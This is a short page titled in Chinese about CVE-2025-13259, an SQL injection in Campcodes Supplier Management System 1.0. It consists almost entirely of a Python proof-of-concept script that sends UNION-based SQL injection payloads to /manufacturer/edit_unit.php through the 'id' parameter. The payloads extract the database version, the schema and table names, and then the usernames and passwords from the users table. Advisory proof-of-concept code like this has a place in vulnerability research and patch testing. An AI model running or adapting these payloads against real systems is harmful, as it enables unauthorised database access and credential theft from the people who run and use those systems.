CVE-2025-13259 Campcodes供应商管理系统 SQL注入漏洞

# CVE-2025-13259 SQL Injection PoC # Target: Campcodes Supplier Management System 1.0 # Endpoint: /manufacturer/edit_unit.php # Vulnerability: SQL Injection via 'id' parameter import requests import sys target = "http://target.com" # Login first to obtain session cookie login_url = f"{target}/login.php" login_data = { "username": "low_privilege_user", "password": "password123" } session = requests.Session() # login_response = session.post(login_url, data=login_data) # SQL Injection Payloads payloads = [ # Basic injection to confirm vulnerability "1'", "1' OR '1'='1", "1' UNION SELECT 1,2,3,4,5,6-- -", # Extract database version "1' UNION SELECT 1,@@version,3,4,5,6-- -", # Extract database name "1' UNION SELECT 1,database(),3,4,5,6-- -", # Extract users table "1' UNION SELECT 1,group_concat(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -", # Extract usernames and passwords "1' UNION SELECT 1,group_concat(username,':',password),3,4,5,6 FROM users-- -" ] vulnerable_param = "id" exploit_url = f"{target}/manufacturer/edit_unit.php" print(f"[*] Testing CVE-2025-13259 on {exploit_url}") for i, payload in enumerate(payloads): print(f"\n[+] Payload {i+1}: {payload}") try: params = {vulnerable_param: payload} response = session.get(exploit_url, params=params, timeout=10) # Check for SQL error indicators if any(indicator in response.text.lower() for indicator in ['sql', 'syntax', 'mysql', 'warning', 'error']): print(f"[!] Potential SQL injection detected!") print(f"Response length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] PoC execution completed. Manual verification recommended.")